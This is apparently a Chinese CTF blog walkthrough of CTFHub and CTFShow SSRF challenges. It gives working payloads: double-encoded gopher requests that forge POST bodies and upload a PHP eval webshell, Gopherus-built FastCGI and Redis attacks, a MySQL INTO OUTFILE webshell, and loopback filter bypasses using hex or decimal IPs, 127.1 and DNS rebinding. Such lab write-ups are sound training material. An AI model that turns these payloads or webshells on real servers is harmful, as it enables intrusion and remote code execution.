LOADING...

dadada~

loading

CTFHUB&CTFSHOW-SSRF_WP


CTFHub-SSRF-内网访问

  1. get传参,令url=127.0.0.1/flag.php
  2. 得到flag

CTFHub-SSRF-伪协议

  • file协议:
    • file://用于访问本地文件系统
    • 用法:file:// [文件的绝对路径和文件名]
    • 一般网站的目录都放在www/html/目录下,/var/www/html是Web服务器的默认根文件夹
  1. /?url=file:///var/www/html/flag.php
  2. 查看源码得到flag

CTFHub-SSRF-端口扫描

  • 端口扫描,一搜出来两个淘宝链接,哦原来我还不如一个开淘宝店的
  • 依稀记得bp是可以拿来干这个事情的但是严格来说这个是bp的爆破功能
  • bp跑的可真慢啊。。。。。。。。。。手工分段分了四段四个窗口爆破
  • 不知道是不是社区版的原因还是版本救了,那也没办法,两个Java环境我是真遭不住啊
  • 找到你了!8893!直接点开看response拿到flag
  • url=127.0.0.1:8893

CTFHub-SSRF-POST请求

  • POST传参url=127.0.0.1得到一个key:914af5faca0f9e1b81bc650d0537884e

  • 继续探索,post传一个伪协议得到一段源码(flag.php):

    <?php
    
    error_reporting(0);
    
    if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
        echo "Just View From 127.0.0.1";
        return;
    }
    
    $flag=getenv("CTFHUB");
    $key = md5($flag);
    
    if (isset($_POST["key"]) && $_POST["key"] == $key) {
        echo $flag;
        exit;
    }
    
  • 熟悉的server陌生的参数:$_SERVER[‘REMOTE_ADDR’]:这个系统变量是你的客户端跟你的服务器“握手”时候的IP,如果使用了“匿名代理(anonymous)”,REMOTE_ADDR将显示代理服务器的IP,访问端(有可能是用户,有可能是代理的)IP

  • 在PHP中getenv ( 参数 )函数是一个用于获取环境变量的函数,根据提供不同的参数可以获取不同的环境变量, 当前正在执行脚本的文件名,与document root 相关,没看出来有什么作用

  • 总结:要求保证IP地址是127.0.0.1并且以post的方式传入key(就是上边的字符串)

——————-分割线—————–

  • index.php被302跳转了,看一下它的源码:

    <?php
    
    error_reporting(0);
    
    if (!isset($_REQUEST['url'])){
        header("Location: /?url=_");
        exit;
    }
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_exec($ch);
    curl_close($ch);
    
  • 用了curl函数来获取并且输出数据,curl可以支持的伪协议有很多,gopher,file,dict,http/s

  • 要求传入一个url,不限制请求方式,因此可以通过gopher协议,向flag.php传一个post报文:

    POST /flag.php HTTP/1.1
    Host: 127.0.0.1:80
    Content-Length: 36
    Content-Type: application/x-www-form-urlencoded
    
    key=51457bb0a50c1eb2c92dcc3ec3c2cc13
    
  • 报文内容显示在url上输入,被解码后保存到curl里面,再通过curl输出跳转,又解码了一次,所以要对POST报文内容进行两次url编码

  • ?url=gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250A%250D%250Akey%253D914af5faca0f9e1b81bc650d0537884e,得到flag

CTFHub-SSRF-上传文件

  • 提示要上传一个文件到 \flag.php,初步怀疑是用上一个题的方法传一个木马进去

  • 试着读一下源码,很遗憾,什么都没有读到,上御剑

  • 很遗憾,伪协议敲错了,读到flag.php:

    error_reporting(0);
    
    if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
        echo "Just View From 127.0.0.1";
        return;
    }
    
    if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
        echo getenv("CTFHUB");
        exit;
    }
    
  • 怎么这么眼熟呢,果然是gopher协议

  • 先上传个文件抓个包(离谱的是的是,网页本身没有提交文件的按钮,f12自己加一个:<input type="submit" name="submit">

  • 请求信息全部复制下来,两次url编码,记得把%0A换成%0D%0A,然后上一题的套路,直接gopher协议传进去,得到flag

    ?url=gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520challenge-7e9b3eb463ae9fc4.sandbox.ctfhub.com%253A10800%250D%250AUser-Agent%253A%2520Mozilla%252F5.0%2520(Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A102.0)%2520Gecko%252F20100101%2520Firefox%252F102.0%250D%250AAccept%253A%2520text%252Fhtml%252Capplication%252Fxhtml%252Bxml%252Capplication%252Fxml%253Bq%253D0.9%252Cimage%252Favif%252Cimage%252Fwebp%252C*%252F*%253Bq%253D0.8%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AContent-Type%253A%2520multipart%252Fform-data%253B%2520boundary%253D---------------------------89800895834957885263732665617%250D%250AContent-Length%253A%2520403%250D%250AOrigin%253A%2520http%253A%252F%252Fchallenge-7e9b3eb463ae9fc4.sandbox.ctfhub.com%253A10800%250D%250AConnection%253A%2520close%250D%250AReferer%253A%2520http%253A%252F%252Fchallenge-7e9b3eb463ae9fc4.sandbox.ctfhub.com%253A10800%252F%253Furl%253Dfile%253A%252F%252F%252Fvar%252Fwww%252Fhtml%252Fflag.php%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250A-----------------------------89800895834957885263732665617%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%25222.php%2522%250D%250AContent-Type%253A%2520application%252Foctet-stream%250D%250A%250D%250A%253C%253Fphp%2520phpinfo()%253B%2520%2540eval(%2524_POST%255B'haoye'%255D)%253B%2520%253F%253E%250D%250A-----------------------------89800895834957885263732665617%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25C3%25A6%25C2%258F%25C2%2590%25C3%25A4%25C2%25BA%25C2%25A4%25C3%25A6%25C2%259F%25C2%25A5%25C3%25A8%25C2%25AF%25C2%25A2%250D%250A-----------------------------89800895834957885263732665617--
    

CTFHub-SSRF—fastcgi协议

————————–分割线——————————-

  • 时隔n天,我肥来了!
  • 上次做到一半环境504了也是服了,然后因为别的事情等等等等导致这个题拖到了今天了
  • 找了个好用的脚本叫gopherus,要求py2的环境(Java能不能学一学py的环境,那么好切)
  • 脚本跑起来~第一行输入的是网页可访问到的文件或者文件的路径,第二行是想执行的命令
  • 所以为什么有人Linux命令学的那么垃圾呢
  • 把脚本生成的东西拿去url编码后直接传参,ls /找到一个flag_3f6f5257c78bfdb4654c09cfab6c02a6文件
  • cat /flag_3f6f5257c78bfdb4654c09cfab6c02a6,得到flag

CTFHub-SSRF—redis协议

  • 此处特别感谢gopherus
  • python gopherus.py --exploit redis,第一行选择shell类型,第二行选择路径,默认路径/var/www/html
  • 第三行写想传的马,生成的payload拿去编码,传参
  • 看了好几个题解,都说网页504了就证明成功了,虽然但是我并不知道为啥,蚁剑连接,得到flag

CTFHub-SSRF—URL Bypass

CTFHub-SSRF—数字IP Bypass

  • 这次ban掉了127以及172.不能使用点分十进制的IP了
  • 提示看错了以为只是ban了127和172,试了一哈十六进制,结果提示:hacker! Ban ‘/127|172|@|./‘
  • 原来是吧.也给ban了,传参:?url=localhost/flag.php
  • 可以使用IP地址转换器:十进制:?url=2130706433/flag.php;十六进制:?url=0x7F000001/flag.php

CTFHub-SSRF—302跳转 Bypass

  • 试了?绕过不行,结果 ?url=localhost/flag.php过了….这么离谱的吗
  • 短网址-短链接生成看到有一种短链接跳转绕过,但是时间不够了,没有探索成功
  • 或者使用十进制IP绕过,但是也没来的及试呜呜呜

CTFHub-SSRF—DNS重绑定 Bypass

  • 域名解析重新绑定服务来这里弄一个域名:7f000001.7f000002.rbndr.us
  • 直接:?url=7f000001.7f000002.rbndr.us/flag.php,bp抓包,repeater,一次不行就两次,两次不行就好多次,得到flag

CTFSHOW-web351

直接post传url=127.0.0.1/flag.php

CTFSHOW-web352

  • 这里有个函数parse_url(),用于通过解析返回url的组件,它解析一个URL并返回一个包含其各个组件的关联数组
  • 题意是参数须包含http或者https,post传参url=http://127.0.0.1/flag.php
  • if(!preg_match(‘/localhost|127.0.0/‘))这段正则写的很奇怪,参数呢???

CTFSHOW-web353

CTFSHOW-web354

CTFSHOW-web355

  • 限制了host长度,又双叒叕学到了:127.1是127.0.0.1的简写省略形式, 0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0
  • post传参:url=http://0/flag.php 或url=http://127.1/flag.php

CTFSHOW-web356

CTFSHOW-web357

  • DNS重绑定,两个函数:
    • $ip = gethostbyname($x['host']);—— 返回主机名对应的 IPv4地址
    • if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE))
      • 获取一个变量,并进行过滤
      • 过滤器FILTER_VALIDATE_IP把值作为 IP 地址来验证,只限 IPv4 或 IPv6 或 不是来自私有或者保留的范围
      • FILTER_FLAG_NO_PRIV_RANGE要求值是 RFC 指定的私域 IP (比如 192.168.0.1)
      • FILTER_FLAG_NO_RES_RANGE要求值不在保留的 IP 范围内,该标志接受 IPV4 和 IPV6 值
  • post传参url=http://[生成的域名]/flag.php

CTFSHOW-web358

CTFSHOW-web359

  • 打开是一个登录界面,账号密码随便填,抓包可以看到一个叫returl的参数,把它改成www.baidu.com ,返回百度的页面
  • 提示是打无密码的mysql,上gopherus
  • SQL写马学到了:
    • 在 MySQL 中,可以使用 SELECTI…INTO OUTFILE 语句将表的内容导出成一个文本文件
    • 语句基本格式如下:SELECT 列名 FROM table [WHERE 语句] INTO OUTFILE '目标文件'[OPTIONS]
    • select "<?php @eval($_POST['cmd']);?>" into outfile '/var/www/html/2.php';
  • 生成的payload编码后直接传进去,蚁剑连接,得到flag

CTFSHOW-web360

  • 提示打redis,这个我熟啊,怎么回事怎么回事怎么回事怎么回事怎么就504了????????????!!!!!!
  • 重开x10086==失败,放弃了,就跟ctfhub那个redis协议一个做法